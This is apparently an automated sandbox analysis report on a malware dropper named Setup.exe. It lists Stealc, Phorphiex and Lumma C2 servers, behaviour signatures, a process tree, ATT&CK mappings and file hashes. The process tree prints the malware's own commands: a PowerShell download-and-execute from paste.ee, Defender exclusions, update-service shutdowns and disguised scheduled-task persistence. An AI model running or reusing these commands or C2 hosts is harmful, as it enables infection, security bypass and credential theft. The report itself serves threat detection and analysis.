Overview

overview

10

Static

static

3

Setup.exe

windows7-x64

1

Setup.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-10-2024 19:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Setup.exe

  • Size

    12KB

  • MD5

    a14e63d27e1ac1df185fa062103aa9aa

  • SHA1

    2b64c35e4eff4a43ab6928979b6093b95f9fd714

  • SHA256

    dda39f19837168845de33959de34bcfb7ee7f3a29ae55c9fa7f4cb12cb27f453

  • SHA512

    10418efcce2970dcdbef1950464c4001753fccb436f4e8ba5f08f0d4d5c9b4a22a48f2803e59421b720393d84cfabd338497c0bc77cdd4548990930b9c350082

  • SSDEEP

    192:brl2reIazGejA7HhdSbw/z1ULU87glpK/b26J4S1Xu85:b52r+xjALhMWULU870gJJ

Score
10/10
lummaphorphiexstealcxmrigmainteamcredential_accessdefense_evasiondiscoveryevasionexecutionloaderminerpersistencespywarestealertrojanworm

Malware Config

Extracted

Family

stealc

Botnet

mainteam

C2

http://95.182.96.50

Attributes
  • url_path

    /2aced82320799c96.php

Extracted

Family

phorphiex

C2

http://185.215.113.84

Extracted

Family

lumma

C2

https://tryyudjasudqo.shop/api

https://eemmbryequo.shop/api

https://reggwardssdqw.shop/api

https://relaxatinownio.shop/api

https://tesecuuweqo.shop/api

https://tendencctywop.shop/api

https://licenseodqwmqn.shop/api

https://keennylrwmqlw.shop/api

https://deficticoepwqm.shop/api

https://optinewlip.shop/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Phorphiex family
    phorphiex
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
    evasiontrojan
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 9 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3492
      • C:\Users\Admin\AppData\Local\Temp\Setup.exe
        "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
        2⤵
        • Checks computer location settings
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1228
        • C:\Users\Admin\AppData\Local\Temp\http185.215.113.66pei.exe.exe
          "C:\Users\Admin\AppData\Local\Temp\http185.215.113.66pei.exe.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:840
          • C:\Users\Admin\AppData\Local\Temp\225114845.exe
            C:\Users\Admin\AppData\Local\Temp\225114845.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4264
        • C:\Users\Admin\AppData\Local\Temp\httptwizt.netnewtpp.exe.exe
          "C:\Users\Admin\AppData\Local\Temp\httptwizt.netnewtpp.exe.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1500
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3536
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2148
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2504
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3968
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3760
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:372
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3720
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1812
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3356
            • C:\Users\Admin\AppData\Local\Temp\3098927184.exe
              C:\Users\Admin\AppData\Local\Temp\3098927184.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2284
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3244
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:1924
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4184
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:5036
                • C:\Users\Admin\AppData\Local\Temp\2973922072.exe
                  C:\Users\Admin\AppData\Local\Temp\2973922072.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1912
                • C:\Users\Admin\AppData\Local\Temp\335313747.exe
                  C:\Users\Admin\AppData\Local\Temp\335313747.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3696
                  • C:\Users\Admin\AppData\Local\Temp\1237639940.exe
                    C:\Users\Admin\AppData\Local\Temp\1237639940.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4184
                • C:\Users\Admin\AppData\Local\Temp\44445111.exe
                  C:\Users\Admin\AppData\Local\Temp\44445111.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4912
            • C:\Users\Admin\AppData\Local\Temp\http31.41.244.11filesEDge.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\http31.41.244.11filesEDge.exe.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2356
              • C:\Users\Admin\AppData\Roaming\Edge\Edge.exe
                "C:\Users\Admin\AppData\Roaming\Edge\Edge.exe" {6B387F7B-F5A9-4597-ABB2-EB1AC679F320}
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Adds Run key to start application
                PID:3128
            • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com2.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com2.exe.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:524
            • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com3.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com3.exe.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2580
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2820
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
                  5⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5004
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:3272
            • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com4.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com4.exe.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:588
            • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com1.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com1.exe.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2692
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 1404
                4⤵
                • Program crash
                PID:2592
            • C:\Users\Admin\AppData\Local\Temp\httpsbitbucket.orgsolgoodmanzixenbergdownloadsBybit.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpsbitbucket.orgsolgoodmanzixenbergdownloadsBybit.exe.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:4432
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2468
            • C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgjamesom1942wiskeydownloadsSet-up.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgjamesom1942wiskeydownloadsSet-up.exe.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:2028
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2576
            • C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgchermander20sonicwawedownloadsbybit.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgchermander20sonicwawedownloadsbybit.exe.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:1676
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4904
            • C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgchermander20sonicwawedownloadsRmMai.exe.exe
              "C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgchermander20sonicwawedownloadsRmMai.exe.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:2104
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:800
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4844
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:1256
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2992
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:5060
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:664
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2692 -ip 2692
              1⤵
                PID:3380
              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                1⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                PID:4000

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Defense Evasion

              Impair Defenses

              3
              T1562

              Disable or Modify Tools

              2
              T1562.001

              Indicator Removal

              1
              T1070

              File Deletion

              1
              T1070.004

              Modify Registry

              4
              T1112

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              4
              T1552

              Credentials In Files

              4
              T1552.001

              Discovery

              Query Registry

              4
              T1012

              System Information Discovery

              3
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Data from Local System

              3
              T1005

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\ProgramData\mozglue.dll
                Filesize

                593KB

                MD5

                c8fd9be83bc728cc04beffafc2907fe9

                SHA1

                95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                SHA256

                ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                SHA512

                fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                Download Submit

              • C:\ProgramData\nss3.dll
                Filesize

                2.0MB

                MD5

                1cc453cdf74f31e4d913ff9c10acdde2

                SHA1

                6e85eae544d6e965f15fa5c39700fa7202f3aafe

                SHA256

                ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                SHA512

                dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                3KB

                MD5

                fee026663fcb662152188784794028ee

                SHA1

                3c02a26a9cb16648fad85c6477b68ced3cb0cb45

                SHA256

                dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

                SHA512

                7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                968cb9309758126772781b83adb8a28f

                SHA1

                8da30e71accf186b2ba11da1797cf67f8f78b47c

                SHA256

                92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                SHA512

                4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3DWZNJ32\1[1]
                Filesize

                108KB

                MD5

                1fcb78fb6cf9720e9d9494c42142d885

                SHA1

                fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

                SHA256

                84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

                SHA512

                cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                18KB

                MD5

                38f53bb48371c130306ce2db56ca2f3e

                SHA1

                25b935557b6ce45b3644acf89b214ee6db7a9d69

                SHA256

                3ff9a41dfdb78285b3ec8ae469cafec2468f346d78142d292df81ee0295e3384

                SHA512

                3e4ff7c81e2e8680bfabbfb7fae6ad92502ed670f20dc251cfbd0952065177f4f1afc2a141265fdc7d5b838e23f8bc8bff0dd45a02ae575b1090d3a1cddb5696

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                18KB

                MD5

                e01ee4449942d9b54d6eb640bd097459

                SHA1

                eb27f1de3bfb9a095121635850a4573a45b86a2b

                SHA256

                0b0641e21dcbfb8a8b097d27763fce53b892452ed898d97a5d43f73a41e00906

                SHA512

                4df088640e36df86e52d1707ce9c50d9ad1510ec41c5b9a311fadcbc4cdab0c3707fe4ebc1983dac070c83e26f94c5fdd882e373eeb56674919abb5f44896a90

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                1KB

                MD5

                d95b08252ed624f6d91b46523f110f29

                SHA1

                17577997bc1fb5d3fbe59be84013165534415dc3

                SHA256

                342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

                SHA512

                0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1237639940.exe
                Filesize

                5.6MB

                MD5

                13b26b2c7048a92d6a843c1302618fad

                SHA1

                89c2dfc01ac12ef2704c7669844ec69f1700c1ca

                SHA256

                1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

                SHA512

                d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\2973922072.exe
                Filesize

                15KB

                MD5

                0c37ee292fec32dba0420e6c94224e28

                SHA1

                012cbdddaddab319a4b3ae2968b42950e929c46b

                SHA256

                981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

                SHA512

                2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\3098927184.exe
                Filesize

                8KB

                MD5

                cb8420e681f68db1bad5ed24e7b22114

                SHA1

                416fc65d538d3622f5ca71c667a11df88a927c31

                SHA256

                5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

                SHA512

                baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\335313747.exe
                Filesize

                10KB

                MD5

                96509ab828867d81c1693b614b22f41d

                SHA1

                c5f82005dbda43cedd86708cc5fc3635a781a67e

                SHA256

                a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

                SHA512

                ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\44445111.exe
                Filesize

                13KB

                MD5

                5a0d146f7a911e98da8cc3c6de8acabf

                SHA1

                4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

                SHA256

                bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

                SHA512

                6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5detwlje.kt4.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\http159.223.8.77xc.exe.exe
                Filesize

                53KB

                MD5

                5e6613da73210b9e141e5170cb65c4de

                SHA1

                55e75c89008cf8e2fc07d759400fe06eb306050a

                SHA256

                659da1346886800cb96d011710480265b36e0064280c3036d5f806c061caf6f9

                SHA512

                373d97ce27d93a4f68c514a7b24798a448882bd9f0fbb3f98434a17b5109ee17627b5940e084f9a8260ca9da56890423b57d841146bd5fe15ac539a9c3378d09

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\http185.215.113.66pei.exe.exe
                Filesize

                9KB

                MD5

                8d8e6c7952a9dc7c0c73911c4dbc5518

                SHA1

                9098da03b33b2c822065b49d5220359c275d5e94

                SHA256

                feb4c3ae4566f0acbb9e0f55417b61fefd89dc50a4e684df780813fb01d61278

                SHA512

                91a573843c28dd32a9f31a60ba977f9a3d4bb19ffd1b7254333e09bcecef348c1b3220a348ebb2cb08edb57d56cb7737f026519da52199c9dc62c10aea236645

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\http31.41.244.11filesEDge.exe.exe
                Filesize

                2.4MB

                MD5

                f01ed03b7a786c24ebd92eab9b441b9d

                SHA1

                891c8ef7b9ef32e9d4de3ee473186cd4ba66059f

                SHA256

                6dc5fcbd3d05cb11dc4731aea996c7cbc213253c4d4b119799c5ddedebe537fb

                SHA512

                a8041c03e9fd9ab1c2bf4bb6fde3948c803b1592e24fdd112387249b83dff0309d14be6d7bdd19a4d1c5fee3b931e45b13c361e38ac15358afa7b82652cf55e4

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgchermander20sonicwawedownloadsRmMai.exe.exe
                Filesize

                10.2MB

                MD5

                4f4e640b100583635e7d7218bc03a047

                SHA1

                90fe08e4c8dd5fe7f5c6411529d8b41cef09746c

                SHA256

                b68f20b21290f3398b67a6c4b645d5ea94aeaf8e3da4272554b0b8e03753d08c

                SHA512

                772940dc7d6962f03d7cec23893b71408f69d8d4266f8d770164df012fea149cf21a3b1f67164ecacf938ed43c8bf3bb19966048e8a6056a739e7a9c4fe5b5ab

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgchermander20sonicwawedownloadsbybit.exe.exe
                Filesize

                13.3MB

                MD5

                17b81f863b1cb9fa2ba7b1d78b6039f5

                SHA1

                d5948798b78cbbbd775b05f3f194e57babc89c32

                SHA256

                8e74dad0ba6445fd3417cd79fc43dd8c367e2bdf3d8125130d08770e1b184959

                SHA512

                77e373129cef89a2d93a14bb74c72b9aec03a5b2e046c4cbcd47cd0e92a77d1b85474d4cdab617a4cb1ef0ce83da3695c2d419dd4b72688e30c6c22d845fb022

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpbitbucket.orgjamesom1942wiskeydownloadsSet-up.exe.exe
                Filesize

                18.6MB

                MD5

                8073361dd5d31d48eeabaf11905901ab

                SHA1

                efc5307058b4038c16e48173af35863dc28d11f4

                SHA256

                12d8444a064d4f61155b62b9ed3f1d8c0be646aef7bb321e5933e0638b52f68a

                SHA512

                3d3163761a93ff5ab1e0efe44da163c00f7286bca556a2b7a53e07bdad5078aa8159a0c451064e3ae787c25844feef6382bb7be7575675bf2168d9be2207de43

                Download Submit

